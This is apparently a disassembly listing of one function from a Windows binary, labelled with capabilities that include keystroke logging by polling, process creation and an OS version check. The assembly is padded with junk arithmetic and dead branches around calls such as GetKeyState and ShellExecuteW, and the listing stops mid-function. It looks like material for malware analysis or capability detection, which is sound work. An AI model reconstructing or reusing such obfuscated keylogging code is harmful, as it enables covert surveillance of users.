Function at 0x1001a69b
Capabilities:
Accept command line arguments
Check os version
Create process on windows
Log keystrokes via polling

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1e8
push ebx
mov dword [ebp - 0xa8], ecx
or ecx, 0xffffffff
mov dword [ebp - 0x14], 0xbcd8c45
xor ebx, ebx
push esi
mov dword [ebp - 0x24], ecx
push edi
mov dword [ebp - 0xa4], edx
mov dword [ebp - 4], ebx
jmp 0x1001a6d4
mov eax, dword [ebp - 4]
mov dword [ebp + eax*4 - 0xbc], ecx
inc dword [ebp - 4]
cmp dword [ebp - 4], 3
jl 0x1001a6c7
mov byte [ebp - 5], bl
cmp byte [ebp - 5], bl
je 0x1001a6fa
push ebx
push 0x1cfd
push ebx
push ebx
push 0x8c0
push 0x1f99
call dword [sym.imp.USER32.dll_ToAsciiEx]
mov edi, dword [sym.imp.USER32.dll_GetDesktopWindow]
push 1
pop esi
cmp dword [ebp - 0x14], ebx
je 0x1001a805
mov dword [ebp - 4], ebx
jmp 0x1001a722
mov eax, dword [ebp - 4]
mov dword [ebp + eax*4 - 0x1bc], 0x20348f4a
inc dword [ebp - 4]
cmp dword [ebp - 4], 4
jl 0x1001a711
mov dword [ebp - 0x14], 2
cmp dword [ebp - 0x14], ebx
jl 0x1001a80e
mov dword [ebp - 4], ebx
mov byte [ebp - 5], bl
cmp byte [ebp - 5], bl
je 0x1001a75a
push ebx
push 0xf31
push ebx
call edi
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_GetTextExtentPoint32W]
mov dword [ebp - 4], ebx
cmp dword [ebp - 4], 2
jg 0x1001a7f7
xor edi, edi
mov eax, dword [ebp - 4]
cmp dword [ebp + eax*4 - 0xbc], ebx
je 0x1001a784
mov eax, dword [ebp - 0x14]
lea esi, [edi + 1]
cmp dword [ebp + eax*4 - 0xbc], ebx
jne 0x1001a786
mov esi, ebx
mov eax, dword [ebp - 0x1bc]
xor edx, edx
mov ecx, dword [ebp - 0xb4]
mov eax, dword [ebp - 0x14]
cmp ecx, eax
setge dl
xor eax, eax
cmp esi, edx
setne al
xor ecx, ecx
cmp eax, 0x934f
mov eax, dword [ebp - 4]
setne cl
cmp ecx, dword [ebp + eax*4 - 0xbc]
jg 0x1001a7c0
mov edx, ebx
cmp dword [ebp - 4], ebx
je 0x1001a7c3
lea edx, [edi + 1]
mov eax, dword [ebp - 0x14]
xor ecx, ecx
cmp edx, eax
setle cl
mov dword [ebp - 0x24], ecx
mov byte [ebp - 5], bl
cmp byte [ebp - 5], bl
je 0x1001a7e4
push 0xd66
push ebx
call dword [sym.imp.USER32.dll_CharUpperBuffW]
inc dword [ebp - 4]
cmp dword [ebp - 4], 2
jle 0x1001a769
mov edi, dword [sym.imp.USER32.dll_GetDesktopWindow]
dec dword [ebp - 0x14]
jns 0x1001a738
xor esi, esi
inc esi
jmp 0x1001a80e
mov eax, dword [ebp - 0xb8]
mov dword [ebp - 0x24], eax
or eax, 0xffffffff
mov dword [ebp - 0x28], eax
mov dword [ebp - 0x24], esi
mov dword [ebp - 0x18], 0x3a34c865
mov dword [ebp - 0x18], 0x85ed0657
mov dword [ebp - 0x11c], esi
mov dword [ebp - 0x118], esi
mov dword [ebp - 0x114], esi
mov dword [ebp - 0x110], esi
mov dword [ebp - 0x14], 0xffff
mov dword [ebp - 0x34], 0xb65cab43
mov dword [ebp - 4], ebx
jmp 0x1001a861
mov eax, dword [ebp - 4]
mov dword [ebp + eax*4 - 0x94], 0xfffffffb
inc dword [ebp - 4]
cmp dword [ebp - 4], 3
jl 0x1001a850
mov eax, dword [ebp - 0x8c]
mov eax, dword [ebp - 0x94]
inc dword [ebp - 0x14]
mov eax, dword [ebp - 0x14]
mov eax, dword [ebp - 0x18]
cmp dword [ebp - 0x28], ebx
jle 0x1001a88b
mov eax, esi
cmp dword [ebp - 0x94], ebx
jne 0x1001a88d
mov eax, ebx
add eax, 0x82b357f0
mov dword [ebp - 0x24], eax
cmp dword [ebp - 0x24], ebx
jne 0x1001a8a0
mov eax, dword [ebp - 0x94]
mov eax, dword [ebp - 0x34]
xor ecx, ecx
mov eax, dword [ebp - 0x11c]
mov eax, dword [ebp - 0x14]
mov eax, dword [ebp - 0x14]
mov dword [ebp - 0x28], ebx
mov eax, dword [ebp - 0x28]
sub eax, 0x6c28cbd6
cmp eax, 0x457102d1
mov eax, 0x66c93ee3
setge cl
sub ecx, dword [ebp - 0x8c]
neg ecx
sbb ecx, ecx
xor edx, edx
inc ecx
mov dword [ebp - 0x114], ecx
mov dword [ebp - 0xc], esi
mov dword [ebp - 0xfc], eax
mov dword [ebp - 0xf8], eax
mov dword [ebp - 0xf4], eax
mov dword [ebp - 0xf0], eax
mov eax, dword [ebp - 0xc]
mov eax, dword [ebp - 0xc]
mov ecx, dword [ebp - 0xc]
add ecx, dword [ebp - 0xc]
mov eax, dword [ebp - 0xc]
cmp eax, ecx
setge dl
imul edx, dword [ebp - 0xc]
mov dword [ebp - 0xf4], edx
mov dword [ebp - 0xc], ebx
jmp 0x1001a985
mov dword [ebp - 0x20], 0xb1c03809
mov dword [ebp - 0x20], 3
cmp dword [ebp - 0x20], ebx
jl 0x1001a976
mov dword [ebp - 0x14], 0xd7540573
mov dword [ebp - 0x14], ebx
jmp 0x1001a96b
mov dword [ebp - 4], 0xfffffffb
mov dword [ebp - 4], ebx
jmp 0x1001a953
cmp byte [ebp - 5], bl
je 0x1001a950
call dword [sym.imp.KERNEL32.dll_GetVersion]
inc dword [ebp - 4]
cmp dword [ebp - 4], 3
mov byte [ebp - 5], bl
jle 0x1001a945
cmp byte [ebp - 5], bl
je 0x1001a968
push ebx
call dword [sym.imp.ADVAPI32.dll_GetLengthSid]
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], 3
jle 0x1001a939
dec dword [ebp - 0x20]
jns 0x1001a92d
mov eax, dword [ebp - 0xc]
cmp dword [ebp + eax*4 - 0xfc], ebx
jne 0x1001a98b
inc dword [ebp - 0xc]
cmp dword [ebp - 0xc], 3
jle 0x1001a91a
mov dword [ebp - 0xc], 0x6d44418
mov dword [ebp - 0x24], 0xeec80f21
mov dword [ebp - 0x14], ebx
mov dword [ebp - 4], ebx
jmp 0x1001a9af
mov eax, dword [ebp - 4]
mov dword [ebp + eax*4 - 0x38], 0xd5464b5f
inc dword [ebp - 4]
cmp dword [ebp - 4], esi
jl 0x1001a9a1
mov dword [ebp - 0xc], ebx
cmp dword [ebp - 0xc], ebx
jl 0x1001aab3
or edi, 0xffffffff
mov dword [ebp - 4], edi
mov dword [ebp - 0x28], 0xfffffffe
mov eax, dword [ebp - 0x38]
mov eax, dword [ebp - 0xc]
mov eax, dword [ebp + eax*4 - 0x38]
mov eax, dword [ebp - 0xc]
mov eax, dword [ebp - 0xc]
mov eax, dword [ebp + eax*4 - 0x38]
mov eax, dword [ebp - 0xc]
mov eax, dword [ebp + eax*4 - 0x38]
mov eax, dword [ebp - 0xc]
mov eax, dword [ebp + eax*4 - 0x38]
mov eax, dword [ebp - 0xc]
mov dword [ebp - 0x24], 0xa63a74ad
mov eax, dword [ebp - 0x24]
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
mov dword [ebp - 0x28], eax
mov eax, dword [ebp - 0x28]
mov eax, dword [ebp - 0x38]
mov eax, dword [ebp - 0xc]
mov eax, dword [ebp + eax*4 - 0x38]
mov eax, dword [ebp - 0x14]
mov eax, dword [ebp - 0xc]
mov eax, dword [ebp + eax*4 - 0x38]
mov eax, dword [ebp - 0x28]
cmp eax, dword [ebp - 0x38]
jne 0x1001aa70
mov eax, dword [ebp - 0xc]
cmp dword [ebp + eax*4 - 0x38], ebx
je 0x1001aa70
mov dword [ebp - 0x14], ebx
jmp 0x1001aa56
cmp byte [ebp - 5], bl
je 0x1001aa3e
push ebx
call dword [sym.imp.GDI32.dll_GetObjectType]
mov byte [ebp - 5], bl
cmp byte [ebp - 5], bl
je 0x1001aa53
push ebx
push ebx
push 0x1bf8
call dword [sym.imp.ADVAPI32.dll_CopySid]
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], ebx
mov byte [ebp - 5], bl
jle 0x1001aa32
cmp byte [ebp - 5], bl
je 0x1001aaa4
push 0x250c
call dword [sym.imp.USER32.dll_GetKeyState]
jmp 0x1001aaa4
mov dword [ebp - 4], ebx
jmp 0x1001aa86
mov eax, dword [ebp - 4]
mov dword [ebp + eax*4 - 0x1a4], 0xfffffffe
inc dword [ebp - 4]
cmp dword [ebp - 4], 2
jl 0x1001aa75
mov dword [ebp - 4], ebx
jmp 0x1001aa9e
mov dword [ebp - 0x24], 0x417f95e1
dec dword [ebp - 0x24]
inc dword [ebp - 4]
cmp dword [ebp - 4], 0x1a
jg 0x1001aa91
dec dword [ebp - 0xc]
jns 0x1001a9c3
mov edi, dword [sym.imp.USER32.dll_GetDesktopWindow]
or eax, 0xffffffff
mov dword [ebp - 0x1c], 0xb7c7
mov dword [ebp - 4], eax
cmp dword [ebp - 0x1c], ebx
je 0x1001abb8
mov dword [ebp - 0x20], 9
mov dword [ebp - 0x28], 0xfffffff8
mov dword [ebp - 0x1c], ebx
jmp 0x1001aba9
mov dword [ebp - 4], 2
mov dword [ebp - 0x18], 0x4320e32c
mov dword [ebp - 4], 0xffffffee
jmp 0x1001ab9c
mov dword [ebp - 0xcc], ebx
mov dword [ebp - 0xc8], ebx
mov dword [ebp - 0xc4], ebx
mov dword [ebp - 0xc0], ebx
mov dword [ebp - 0x14], ebx
jmp 0x1001ab23
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0x178], ebx
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], 2
jl 0x1001ab16
mov eax, dword [ebp - 0xc8]
mov eax, dword [ebp - 0x1c]
mov dword [ebp - 0x18], eax
mov eax, dword [ebp - 0xc4]
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp - 0xc4]
mov eax, dword [ebp - 0x28]
mov eax, dword [ebp - 0xc4]
sub eax, dword [ebp - 0x28]
jne 0x1001ab59
mov ecx, ebx
cmp dword [ebp - 4], ebx
je 0x1001ab5b
mov ecx, esi
xor edx, edx
mov dword [ebp - 0x178], ecx
mov eax, dword [ebp - 0x20]
cmp eax, ecx
setne dl
sub edx, dword [ebp - 0x28]
add edx, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x1c]
neg edx
sbb edx, edx
xor ecx, ecx
neg edx
cmp edx, 0xd38c
setg cl
xor edx, edx
cmp ecx, eax
mov eax, dword [ebp - 0x1c]
setg dl
xor ecx, ecx
cmp edx, eax
setle cl
mov dword [ebp - 0x20], ecx
inc dword [ebp - 4]
cmp dword [ebp - 4], 0xffffffef
jge 0x1001aaf9
dec dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], 0xfffffff5
jle 0x1001aadf
jmp 0x1001ac6a
mov dword [ebp - 0x74], esi
mov dword [ebp - 0x70], esi
mov dword [ebp - 0x6c], esi
mov dword [ebp - 0x68], esi
mov dword [ebp - 0x18], esi
mov eax, dword [ebp - 0x1c]
mov dword [ebp - 4], eax
mov ecx, dword [ebp - 0x68]
mov eax, dword [ebp - 4]
add eax, ecx
cmp dword [ebp - 0x74], eax
jl 0x1001abe1
mov edx, ebx
cmp dword [ebp - 0x1c], ebx
je 0x1001abe3
mov edx, esi
mov eax, dword [ebp - 0x1c]
xor ecx, ecx
cmp edx, eax
setl cl
cmp ecx, dword [ebp - 0x6c]
jle 0x1001abf9
mov ecx, esi
cmp dword [ebp - 0x68], ebx
je 0x1001abfb
mov ecx, ebx
mov eax, 0xa8fa
sub eax, ecx
je 0x1001ac40
mov dword [ebp - 0x1c], 3
cmp dword [ebp - 0x1c], ebx
jl 0x1001ac6a
mov dword [ebp - 4], ebx
jmp 0x1001ac2a
mov byte [ebp - 5], bl
cmp byte [ebp - 5], bl
je 0x1001ac27
push ebx
push ebx
push ebx
push ebx
call dword [sym.imp.ADVAPI32.dll_RegGetKeySecurity]
inc dword [ebp - 4]
cmp dword [ebp - 4], 3
jle 0x1001ac15
mov eax, dword [ebp - 0x1c]
cmp dword [ebp + eax*4 - 0x74], ebx
jne 0x1001ac6a
dec dword [ebp - 0x1c]
jns 0x1001ac10
jmp 0x1001ac6a
mov dword [ebp - 4], ebx
jmp 0x1001ac56
mov eax, dword [ebp - 4]
mov dword [ebp + eax*4 - 0xac], 0xb9a2f725
inc dword [ebp - 4]
cmp dword [ebp - 4], esi
jl 0x1001ac45
mov eax, dword [ebp - 0xac]
mov eax, dword [ebp - 0x74]
mov eax, dword [ebp - 0x74]
mov dword [ebp - 0x18], eax
mov dword [ebp - 0xc], 0x24ec2e0c
mov dword [ebp - 0xc], 0xffffffeb
jmp 0x1001ac97
mov byte [ebp - 5], bl
cmp byte [ebp - 5], bl
je 0x1001ac94
push 0x184b
push ebx
push ebx
push ebx
push ebx
call edi
push eax
call dword [sym.imp.SHELL32.dll_ShellExecuteW]
inc dword [ebp - 0xc]
cmp dword [ebp - 0xc], 0xfffffff5
je 0x1001ac7a
mov dword [ebp - 0xc], ebx
jmp 0x1001ace2
mov dword [ebp - 4], ebx
mov dword [ebp - 0x28], 0x1647
mov dword [ebp - 0x18], esi
cmp dword [ebp - 4], ebx
jne 0x1001acbc
cmp dword [ebp - 0xc], ebx
je 0x1001acbc
mov eax, dword [ebp - 0xc]
cmp dword [ebp - 0x28], ebx
je 0x1001acc4
mov eax, dword [ebp - 0x28]
mov ecx, dword [ebp - 4]
xor edx, edx
mov eax, dword [ebp - 0x28]
dec ecx
cmp ecx, eax
mov eax, dword [ebp - 4]
setl dl
xor ecx, ecx
cmp eax, edx
setl cl
mov dword [ebp - 0x18], ecx
inc dword [ebp - 0xc]
cmp dword [ebp - 0xc], 0xb
jne 0x1001aca2
xor ecx, ecx
inc ecx
mov dword [ebp - 0x1c], ecx
mov dword [ebp - 0x18], 0x7e6ef1f7
mov dword [ebp - 4], ebx
jmp 0x1001ad08
mov eax, dword [ebp - 4]
mov dword [ebp + eax*4 - 0x2c], 0x5b57fd54
inc dword [ebp - 4]
cmp dword [ebp - 4], ecx
jl 0x1001acfa
mov esi, dword [sym.imp.OLEAUT32.dll_VariantClear]
mov dword [ebp - 0x1c], ebx
cmp dword [ebp - 0x1c], ebx
jg 0x1001b03b
push 2
pop edx
mov dword [ebp - 0x10], edx
mov dword [ebp - 4], 0x9f8c5172
mov dword [ebp - 0x34], 0xfffffffd
mov eax, dword [ebp - 0x1c]
cmp dword [ebp + eax*4 - 0x2c], ebx
je 0x1001ad47
mov eax, dword [ebp - 0x1c]
cmp dword [ebp + eax*4 - 0x2c], ebx
mov eax, ecx
je 0x1001ad49
mov eax, ebx
cmp eax, 0xfffffffc
sbb eax, eax
xor ecx, ecx
neg eax
cmp eax, edx
mov eax, dword [ebp - 0x2c]
setge cl
xor edx, edx
sub ecx, eax
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp + eax*4 - 0x2c]
cmp eax, ecx
mov eax, dword [ebp - 0x1c]
setl dl
sub edx, dword [ebp + eax*4 - 0x2c]
neg edx
sbb edx, edx
xor ecx, ecx
inc edx
imul edx, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp + eax*4 - 0x2c]
cmp eax, edx
setg cl
mov dword [ebp - 0x10], ecx
mov dword [ebp - 0x10], ebx
cmp dword [ebp - 0x10], ebx
jg 0x1001b026
xor edi, edi
inc edi
mov dword [ebp - 0x20], 0x8fb8
mov dword [ebp - 0xc], 0xd8d92426
mov eax, dword [ebp - 0x10]
mov eax, dword [ebp - 0x2c]
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp + eax*4 - 0x2c]
mov eax, dword [ebp - 0xc]
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp + eax*4 - 0x2c]
mov ecx, dword [ebp - 0xc]
sub ecx, eax
je 0x1001adcd
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp + eax*4 - 0x2c]
mov eax, dword [ebp - 0x1c]
xor edx, edx
mov dword [ebp - 0x20], eax
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp - 0x1c]
mov ecx, dword [ebp + eax*4 - 0x2c]
mov eax, dword [ebp - 0x20]
cmp ecx, eax
setne dl
xor eax, eax
sub edx, dword [ebp - 0xc]
cmp edx, 0xa81d
setl al
cmp eax, dword [ebp - 0x2c]
je 0x1001ae01
mov eax, ebx
cmp dword [ebp - 0xc], ebx
je 0x1001ae03
mov eax, edi
mov dword [ebp - 4], eax
xor ecx, ecx
mov eax, dword [ebp - 0xc]
mov eax, dword [ebp - 0xc]
mov eax, dword [ebp - 0x1c]
mov edx, dword [ebp + eax*4 - 0x2c]
mov eax, dword [ebp - 0x2c]
cmp eax, 0xffffffff
mov eax, dword [ebp - 0x20]
setl cl
sub edx, ecx
cmp edi, eax
sbb eax, eax
xor ecx, ecx
neg eax
cmp eax, edx
setl cl
sub ecx, dword [ebp - 0xc]
cmp ecx, 0x6ba05392
jg 0x1001ae42
mov edx, edi
cmp dword [ebp - 0xc], ebx
jne 0x1001ae44
mov edx, ebx
mov eax, dword [ebp - 0xc]
xor ecx, ecx
cmp edx, eax
setne cl
imul ecx, dword [ebp - 0x20]
neg ecx
cmp ecx, dword [ebp - 0x1c]
jle 0x1001afb3
mov dword [ebp - 0x14], 0x890aaf75
mov dword [ebp - 0x18], 0xad5889e5
mov eax, dword [ebp - 0x14]
mov ecx, dword [ebp - 0xc]
mov eax, dword [ebp - 0x2c]
sub ecx, eax
mov eax, dword [ebp - 0x10]
mov dword [ebp + eax*4 - 0x2c], ecx
je 0x1001ae86
mov eax, edi
cmp dword [ebp - 0xc], ebx
jne 0x1001ae88
mov eax, ebx
mov dword [ebp - 0xc], eax
xor edx, edx
mov ecx, dword [ebp - 0x14]
mov eax, dword [ebp - 0xc]
cmp ecx, eax
mov ecx, 0xec6b039b
setne dl
or eax, 0xffffffff
sub eax, edx
cmp ecx, eax
mov eax, dword [ebp - 0x10]
sbb edx, edx
xor ecx, ecx
neg edx
cmp eax, edx
setne cl
mov dword [ebp - 0x18], ecx
mov dword [ebp - 0x14], ebx
cmp dword [ebp - 0x14], 0x33
jg 0x1001b01a
xor ecx, ecx
push 0xfffffffffffffffa
inc ecx
pop edi
mov dword [ebp - 0x24], 0x2d7faeff
mov dword [ebp - 4], ecx
mov dword [ebp - 0x18], edi
mov dword [ebp - 0x28], 5
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 0x20]
or eax, 0xffffffff
mov dword [ebp - 0x24], eax
mov eax, dword [ebp - 0x24]
mov eax, dword [ebp - 0x2c]
mov eax, dword [ebp - 0x10]
mov eax, dword [ebp - 4]
mov eax, dword [ebp - 4]
mov eax, dword [ebp - 0x10]
mov eax, dword [ebp - 0x10]
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp - 4]
mov eax, dword [ebp - 0x18]
mov dword [ebp - 0x28], ecx
mov eax, dword [ebp - 0x28]
mov eax, dword [ebp - 0x18]
mov eax, dword [ebp - 0xc]
sub eax, 0xd1e
neg eax
sbb eax, eax
inc eax
imul eax, dword [ebp - 0x14]
test eax, eax
je 0x1001af9b
mov dword [ebp - 0x18], 0xaf6502fc
mov dword [ebp - 4], 0xd
jmp 0x1001af50
mov dword [ebp - 0x18], 0xfffffffd
mov eax, dword [ebp - 0x18]
mov dword [ebp - 0x18], eax
mov byte [ebp - 5], bl
cmp byte [ebp - 5], 0
je 0x1001af4d
push ebx
call esi
dec dword [ebp - 4]
cmp dword [ebp - 4], edi
jne 0x1001af34
mov dword [ebp - 0xc], 0x7236
xor ecx, ecx
mov eax, dword [ebp - 0xc]
cmp eax, 0x8a9b
setge cl
imul ecx, dword [ebp - 0x28]
test ecx, ecx
je 0x1001af7f
mov eax, dword [ebp - 0x20]
neg eax
sbb eax, eax
inc eax
inc eax
je 0x1001af7f
mov eax, dword [ebp - 0x28]
mov eax, dword [ebp - 0x14]
mov dword [ebp - 0x18], 0x2da2ea9
cmp dword [ebp - 0x18], 0x8c34f7c3
sbb eax, eax
xor ecx, ecx
inc eax
inc ecx
mov dword [ebp - 4], eax
jmp 0x1001afa1
mov eax, dword [ebp - 0x34]
mov dword [ebp - 0xc], eax
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], 0x33
jle 0x1001aec8
xor edi, edi
inc edi
jmp 0x1001b01a
mov dword [ebp - 0x28], edi
cmp dword [ebp - 0x28], ebx
jne 0x1001afd2
mov eax, dword [ebp - 0x20]
xor ecx, ecx
or edx, 0xffffffff
cmp eax, edx
mov eax, ebx
setl cl
mov dword [ebp - 0x18], ecx
cmp dword [ebp - 0x18], ebx
je 0x1001afd4
mov eax, edi
add eax, 0x414c507b
jne 0x1001afde
mov eax, dword [ebp - 0x20]
mov eax, dword [ebp - 4]
xor ebx, ebx
mov eax, dword [ebp - 0x28]
mov eax, dword [ebp - 0x34]
mov eax, dword [ebp - 0x34]
mov eax, dword [ebp - 0x1c]
mov eax, dword [ebp + eax*4 - 0x2c]
cmp eax, 0xcfc2
mov ecx, dword [ebp - 0xc]
mov eax, dword [ebp - 0x20]
setg bl
xor edx, edx
neg ebx
cmp ecx, eax
setg dl
xor eax, eax
imul edx, dword [ebp - 0x28]
cmp ebx, edx
setg al
xor ebx, ebx
mov dword [ebp - 4], eax
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], ebx
jle 0x1001ad9a
inc dword [ebp - 0x1c]
push 1
pop ecx
cmp dword [ebp - 0x1c], ebx
jle 0x1001ad1f
mov edi, dword [sym.imp.USER32.dll_GetDesktopWindow]
mov dword [ebp - 0xc], 4
mov eax, 0x72d9ee1c
mov dword [ebp - 0x1c], 0xc2285faa
mov dword [ebp - 0x64], eax
mov dword [ebp - 0x60], eax
mov dword [ebp - 0x5c], eax
mov dword [ebp - 0x58], eax
mov dword [ebp - 4], 0xcb972524
mov dword [ebp - 0x14], ebx
jmp 0x1001b074
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0x4c], 0x648261f
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], ecx
jl 0x1001b066
mov dword [ebp - 0xc], ebx
cmp dword [ebp - 0xc], ebx
jl 0x1001b0e1
or eax, 0xffffffff
mov dword [ebp - 0x20], eax
mov dword [ebp - 0x14], ebx
cmp dword [ebp - 0x14], 2
jge 0x1001b0a6
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0x19c], ecx
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], 2
jl 0x1001b090
or eax, 0xffffffff
mov dword [ebp - 0x20], ebx
jmp 0x1001b0d7
mov dword [ebp - 0x18], eax
mov dword [ebp - 0x14], ebx
cmp dword [ebp - 0x14], 3
jge 0x1001b0d1
mov eax, dword [ebp - 0x14]
mov dword [ebp + eax*4 - 0x1d0], 0x9310c13f
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], 3
jl 0x1001b0b7
or eax, 0xffffffff
inc dword [ebp - 4]
inc dword [ebp - 0x20]
cmp dword [ebp - 0x20], ebx
jle 0x1001b0ab
dec dword [ebp - 0xc]
jns 0x1001b084
mov dword [ebp - 4], ebx
cmp dword [ebp - 4], ecx
je 0x1001b1db
or esi, 0xffffffff
mov dword [ebp - 0x10], 0xcb6a
mov eax, ebx
mov dword [ebp - 0x18], 0x20c256fa
cmp dword [ebp - 0x4c], ebx
je 0x1001b107
mov eax, ecx
xor edx, edx
cmp eax, 0x7fefb659
mov eax, dword [ebp - 0x1c]
setl dl
xor ecx, ecx
cmp edx, eax
setle cl
imul ecx, dword [ebp - 0x10]
test ecx, ecx
je 0x1001b126
mov eax, dword [ebp - 0x4c]
mov eax, dword [ebp - 0x10]
xor ecx, ecx
mov eax, dword [ebp - 0x10]
mov eax, dword [ebp - 4]
test eax, eax
sets cl
cmp ecx, 0xfffffff9
jbe 0x1001b140
cmp dword [ebp - 0xc], ebx
je 0x1001b14a
cmp dword [ebp - 0x4c], ebx
je 0x1001b14a
xor ecx, ecx
inc ecx
jmp 0x1001b14c
mov ecx, ebx
mov eax, dword [ebp - 0x10]
xor edx, edx
sub ecx, eax
mov eax, dword [ebp - 0x10]
dec ecx
cmp ecx, eax
setl dl
xor ecx, ecx
add edx, dword [ebp - 0x10]
mov eax, dword [ebp - 0x10]
cmp eax, edx
setne cl
xor eax, eax
cmp ecx, 9
setl al
cmp esi, eax
sbb eax, eax
inc eax
add eax, dword [ebp - 0x10]
mov dword [ebp - 0x18], eax
mov dword [ebp - 0x10], ebx
cmp dword [ebp - 0x10], ebx
jl 0x1001b1c6
mov dword [ebp - 0x1c], ebx
cmp dword [ebp - 0x1c], ebx
jl 0x1001b1c1
mov byte [ebp - 5], bl
cmp byte [ebp - 5], 0
je 0x1001b1bc
push ebx
push 0x7a2
push ebx
push ebx
push 0x1864
push 0x1176
push 0x26f6
call edi
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_ExtTextOutA]
dec dword [ebp - 0x1c]
jns 0x1001b18c
dec dword [ebp - 0x10]
jns 0x1001b184
inc dword [ebp - 4]
xor ecx, ecx
inc ecx
cmp dword [ebp - 4], ecx
jne 0x1001b0f0
mov esi, dword [sym.imp.OLEAUT32.dll_VariantClear]
mov dword [ebp - 4], ebx
jmp 0x1001b1f1
mov eax, dword [ebp - 4]
mov dword [ebp + eax*4 - 0xec], 6
inc dword [ebp - 4]
cmp dword [ebp - 4], 4
jl 0x1001b1e0
mov dword [ebp - 0xe4], 5
cmp dword [ebp - 0xe4], 0xf
jle 0x1001bbcc
push 2
pop edx
mov dword [ebp - 0x20], 0xf4a8b108
mov dword [ebp - 0x20], 0xfffffffc
mov dword [ebp - 4], 0xa7d2ae85
mov dword [ebp - 0x14], 3
mov dword [ebp - 0x10], 0xfffffffd
mov dword [ebp - 0xc], ebx
jmp 0x1001b243
mov eax, dword [ebp - 0xc]
mov dword [ebp + eax*4 - 0x48], ecx
inc dword [ebp - 0xc]
cmp dword [ebp - 0xc], edx
jl 0x1001b239
mov dword [ebp - 0xc], ebx
jmp 0x1001b25e
mov eax, dword [ebp - 0xc]
mov dword [ebp + eax*4 - 0x128], 0x28d5
inc dword [ebp - 0xc]
cmp dword [ebp - 0xc], 3
jl 0x1001b24d
mov dword [ebp - 0xc], ebx
jmp 0x1001b276
mov eax, dword [ebp - 0xc]
mov dword [ebp + eax*4 - 0x194], ecx
inc dword [ebp - 0xc]
cmp dword [ebp - 0xc], 3
jl 0x1001b269
mov dword [ebp - 0x20], 0x713e19f2
xor edx, edx
mov ecx, dword [ebp - 0x120]
mov eax, dword [ebp - 0x20]
add ecx, eax
mov eax, dword [ebp - 0x48]
cmp ecx, eax
mov eax, dword [ebp - 0x44]
setle dl
xor ecx, ecx
cmp edx, eax
mov eax, dword [ebp - 0x48]
sete cl
xor edx, edx
cmp ecx, eax
mov eax, dword [ebp - 0x120]
sete dl
xor ecx, ecx
sub edx, eax
mov eax, dword [ebp - 0x48]
cmp edx, 1
setg cl
imul eax, ecx
mov dword [ebp - 0x18c], eax
cmp eax, dword [ebp - 0x48]
jne 0x1001b2d7
cmp dword [ebp - 0x48], ebx
je 0x1001b2d7
xor ecx, ecx
inc ecx
jmp 0x1001b2d9
mov ecx, ebx
mov eax, dword [ebp - 0x48]
xor edx, edx
cmp ecx, eax
mov eax, dword [ebp - 0x120]
setne dl
xor ecx, ecx
cmp edx, eax
sete cl
mov dword [ebp - 4], ecx
mov ecx, dword [ebp - 4]
mov eax, dword [ebp - 0x48]
neg ecx
sbb ecx, ecx
xor edx, edx
add ecx, 0x50c9
cmp eax, ecx
mov eax, dword [ebp - 0x48]
setl dl
xor ecx, ecx
cmp edx, eax
setl cl
mov dword [ebp - 0x14], ecx
xor ecx, ecx
mov eax, dword [ebp - 0x48]
add eax, dword [ebp - 0x14]
cmp eax, 0x9ab8
setg cl
mov dword [ebp - 0x10], ecx
mov dword [ebp - 0x20], 0xc
cmp dword [ebp - 0x20], 0xb
jl 0x1001b3cd
push 2
pop edx
mov dword [ebp - 4], ebx
jmp 0x1001b354
mov eax, dword [ebp - 4]
mov dword [ebp + eax*4 - 0x164], 0xfffffffb
inc dword [ebp - 4]
cmp dword [ebp - 4], edx
jl 0x1001b343
mov dword [ebp - 0x10], 0xfffffff5
jmp 0x1001b3bb
mov dword [ebp - 0x14], 0xffffffef
cmp dword [ebp - 0x14], 0xfffffffe
jle 0x1001b3b8
xor ecx, ecx
inc ecx
mov dword [ebp - 4], ebx
jmp 0x1001b388
mov eax, dword [ebp - 4]
mov dword [ebp + eax*4 - 0x170], 0xf75df156
inc dword [ebp - 4]
cmp dword [ebp - 4], ecx
jl 0x1001b377
mov dword [ebp - 0x160], 0xfffffffb
mov dword [ebp - 4], ebx
jmp 0x1001b3a9
mov dword [ebp - 0x18], 0x398e
dec dword [ebp - 0x18]
inc dword [ebp - 4]
cmp dword [ebp - 4], 9
jl 0x1001b39c
inc dword [ebp - 0x14]
cmp dword [ebp - 0x14], 0xfffffffe
jg 0x1001b372
inc dword [ebp - 0x10]
cmp dword [ebp - 0x10], edx
jne 0x1001b362
dec dword [ebp - 0x20]
cmp dword [ebp - 0x20], 0xb
jge 0x1001b33e
mov dword [ebp - 4], 0xc68ec0ae
mov dword [ebp - 0x18], 1
mov dword [ebp - 4], 0x19
cmp dword [ebp - 4], 0xfffffff7
jne 0x1001b4fd
xor esi, esi
inc esi
mov dword [ebp - 0x10], esi
mov eax, 0xd145
mov dword [ebp - 0xc], 0x6c74aa0d
xor edx, edx
mov dword [ebp - 0x148], eax
mov dword [ebp - 0x144], eax
mov dword [ebp - 0x140], eax
mov dword [ebp - 0x13c], eax
mov eax, dword [ebp - 0xc]
